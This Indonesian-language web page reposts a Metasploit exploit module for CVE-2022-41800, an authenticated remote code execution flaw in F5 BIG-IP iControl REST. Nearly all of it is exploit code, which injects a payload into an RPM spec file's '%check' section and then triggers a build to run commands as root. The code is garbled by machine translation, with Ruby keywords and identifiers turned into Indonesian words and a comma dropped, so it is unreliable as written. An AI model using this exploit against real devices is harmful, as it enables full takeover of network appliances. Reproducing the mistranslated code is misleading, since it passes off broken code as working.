Eksekusi Perintah Jarak Jauh iControl F5 BIG-IP

  • Whatsapp
Projeqtor 9.3.1 Cross Site Scripting
Projeqtor Cross Site Scripting

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Exploit::Remote
Peringkat = Peringkat Luar Biasa

termasuk Msf::Exploit::Remote::HttpClient
termasuk Msf::Exploit::FileDropper

def menginisialisasi(info = {})
super(
informasi terbaru(
info,
‘Name’ => ‘F5 BIG-IP iControl mengautentikasi RCE melalui RPM Creator’,
‘Deskripsi’ => %q{
Modul ini mengeksploitasi injeksi baris baru ke dalam file .rpmspec RPM
yang memungkinkan pengguna yang diautentikasi untuk menjalankan perintah dari jarak jauh.

Eksploitasi yang berhasil menghasilkan eksekusi kode jarak jauh
sebagai pengguna root.
},
‘Pengarang’ => [
‘Ron Bowes’ # Discovery, PoC, and module
],
‘Referensi’ => [
[‘CVE’, ‘2022-41800’],
[‘URL’, ‘https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/’],
[‘URL’, ‘https://support.f5.com/csp/article/K97843387’],
[‘URL’, ‘https://support.f5.com/csp/article/K13325942’],
],
‘Lisensi’ => MSF_LICENSE,
‘DisclosureDate’ => ‘2022-11-16’, # Penasihat vendor
‘Platform’ => [‘unix’, ‘linux’],
‘Lengkungan’ => [ARCH_CMD],
‘Keistimewaan’ => benar,
‘Target’ => [
[ ‘Default’, {} ]
],
‘DefaultTarget’ => 0,
‘DefaultOptions’ => {
‘LAPORAN’ => 443,
‘SSL’ => benar,
‘PrependFork’ => benar, # Diperlukan untuk menghindari peringatan tentang batas waktu dan potensi kegagalan di seluruh upaya.
‘MeterpreterTryToFork’ => true # Diperlukan untuk menghindari peringatan tentang batas waktu dan potensi kegagalan di seluruh upaya.
},
‘Catatan’ => {
‘Stabilitas’ => [CRASH_SAFE],
‘Keandalan’ => [REPEATABLE_SESSION]# Satu per satu
‘Efek Samping’ => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)

daftar_opsi(
[
OptString.new(‘HttpUsername’, [true, ‘iControl username’, ‘admin’]),
OptString.new(‘HttpPassword’, [true, ‘iControl password’, ”])
]
)
akhir

def mengeksploitasi
# Nama RPM didasarkan pada ini, jadi kami memerlukan ini untuk menghapus file RPM setelahnya
nama = rand_teks_alfanumerik(5..10)
versi = “#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}”
rilis = “#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}”

vprint_status(‘Membuat file .rpmspec pada target…’)
hasil = send_request_cgi({
‘metode’ => ‘POST’,
‘uri’ => normalisasi_uri(target_uri.path, ‘/mgmt/shared/iapp/rpm-spec-creator’),
‘ctype’ => ‘aplikasi/json’,
‘otorisasi’ => basic_auth(datastore[‘HttpUsername’]penyimpanan data[‘HttpPassword’]),
‘data’ => {
‘specFileData’ => {
‘nama’ => nama,
‘srcBasePath’ => ‘/tmp’,
‘versi’ => versi,
‘rilis’ => rilis,
# Ini adalah injeksi – tambahkan baris baru kemudian bagian ‘%check’
‘description’ => “\n\n%periksa\n#{payload.encoded}\n”,
‘ringkasan’ => rand_text_alphanumeric(5..10)
}
}.to_json
})

fail_with(Kegagalan:: Tidak diketahui, ‘Gagal mengirim permintaan HTTP’) kecuali hasilnya
fail_with(Failure::NoAccess, ‘Otentikasi gagal’) jika result.code == 401
fail_with(Failure::UnexpectedReply, “Server mengembalikan respons yang tidak terduga: HTTP/#{result.code}”) jika result.code != 200

json = result&.get_json_document
fail_with(Failure::UnexpectedReply, “Server tidak mengembalikan JSON yang valid”) kecuali json

file_path = json[‘specFilePath’]
fail_with(Kegagalan::UnexpectedReply, “Server tidak mengembalikan specFilePath”) kecuali file_path
vprint_status(“Berkas spesifikasi yang dibuat: #{file_path}”)
register_file_untuk_pembersihan(file_path)

# Kita juga dapat menggunakan `exit 1` dalam fungsi %check untuk mencegah file ini
# dari dibuat, daripada dibersihkan.. tapi sepertinya lebih berisik?
# Tidak ada opsi yang dicatat jadi /shrug
register_file_for_cleanup(“/var/config/rest/node/tmp/RPMS/noarch/#{nama}-#{versi}-#{rilis}.noarch.rpm”)

vprint_status(‘Membangun RPM untuk memicu payload…’)
hasil = send_request_cgi({
‘metode’ => ‘POST’,
‘uri’ => normalisasi_uri(target_uri.path, ‘/mgmt/shared/iapp/build-package’),
‘ctype’ => ‘aplikasi/json’,
‘otorisasi’ => basic_auth(datastore[‘HttpUsername’]penyimpanan data[‘HttpPassword’]),
‘data’ => {
‘keadaan’ => {},
‘appName’ => rand_text_alphanumeric(5..10),
‘packageDirectory’ => ‘/tmp’,
‘specFilePath’ => file_path
}.to_json
})
fail_with(Kegagalan:: Tidak diketahui, ‘Gagal mengirim permintaan HTTP’) kecuali hasilnya
fail_with(Failure::NoAccess, ‘Otentikasi gagal’) jika result.code == 401
fail_with(Failure::UnexpectedReply, “Server mengembalikan respons yang tidak diharapkan: HTTP/#{result.code}”) if result.code < 200 || result.code > 299
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *